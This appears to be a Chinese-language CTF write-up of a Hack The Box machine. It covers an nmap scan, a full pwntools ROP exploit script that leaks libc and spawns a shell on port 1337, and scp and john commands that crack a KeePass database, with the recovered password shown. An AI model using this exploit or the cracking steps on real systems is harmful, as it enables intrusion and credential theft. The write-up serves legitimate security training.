基本信息

端口扫描

22,80:

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$ nmap -sC -sV 10.10.10.147

Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-22 20:35 CST
Nmap scan report for 10.10.10.147
Host is up (0.33s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
|   2048 6d:7c:81:3d:6a:3d:f9:5f:2e:1f:6a:97:e5:00:ba:de (RSA)
|   256 99:7e:1e:22:76:72:da:3c:c9:61:7d:74:d7:80:33:d2 (ECDSA)
|_  256 6a:6b:c3:8e:4b:28:f7:60:85:b1:62:ff:54:bc:d8:d6 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Apache2 Debian Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.30 seconds

80

apache默认页面，提示可以下载myapp分析，运行在1337端口：

myapp

一个elf：

1337 rop

基础rop，直接gets puts，有system,：

0xdf给出了三种不同的方式

  1. 常规的leak addr，确认libc base，计算出其他所需地址，rop
  2. .data部分可读写，发送/bin/sh\x00后调用system的rop
  3. 利用自带的test函数，system放到r13后/bin/sh放到栈顶，然后调用test函数相当于syetem(/bin/sh):

exp.py

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#!/usr/bin/env python

from pwn import *

context(os="linux", arch="amd64")
#context(log_level='DEBUG')

junk = "A"*120

got_puts = p64(0x404018)
plt_system = p64(0x401040)
pop_rdi  = p64(0x40120b)
main     = p64(0x40115f)
payload = junk + pop_rdi + got_puts + plt_system + main

p = remote("10.10.10.147", 1337)
p.recvline()
p.sendline(payload)
leaked_puts = u64(p.recvline().strip()[7:-11].ljust(8,"\x00"))

log.info("Leaked puts address: %x" % leaked_puts)
libc_base = leaked_puts - 0x68f90
log.info("libc_base: %x" % libc_base)

sh = p64(0x161c19 + libc_base)

payload = junk + pop_rdi + sh + plt_system
p.recvline()
p.sendline(payload)
p.interactive()

user flag

任意一种打到user shell：

可以写ssh公钥方便后续操作

提权信息

前面也看到后用户目录除了user.txt还有一些其他文件，下载下来查看：

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scp user@10.10.10.147:~/IMG* .
scp user@10.10.10.147:~/*.kdbx .

john

一个keypass文件和6张图，可以尝试破解，分别使用每张图作为密钥文件转换hash后破解：

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/opt/john/run/keepass2john MyPasswords.kdbx > MyPasswords.kdbx.john; for img in $(ls IMG*); do /opt/john/run/keepass2john -k $img MyPasswords.kdbx; done >> MyPasswords.kdbx.john

MyPasswords:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96
MyPasswords:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96*1*64*17c3509ccfb3f9bf864fca0bfaa9ab137c7fca4729ceed90907899eb50dd88ae
MyPasswords:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96*1*64*a22ce4289b755aaebc6d4f1b49f2430abb6163e942ecdd10a4575aefe984d162
MyPasswords:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96*1*64*e949722c426b3604b5f2c9c2068c46540a5a2a1c557e66766bab5881f36d93c7
MyPasswords:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96*1*64*d86a22408dcbba156ca37e6883030b1a2699f0da5879c82e422c12e78356390f
MyPasswords:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96*1*64*facad4962e8f4cb2718c1ff290b5026b7a038ec6de739ee8a8a2dd929c376794
MyPasswords:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96*1*64*7c83badcfe0cd581613699bb4254d3ad06a1a517e2e81c7a7ff4493a5f881cf2

破解出来密码：

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sudo john --wordlist=/usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou-30.txt hash.txt

bullshit

keepass

密钥文件是IMG_0547.JPG ，打开后得到root 密码：

root flag

su切到root：

参考资料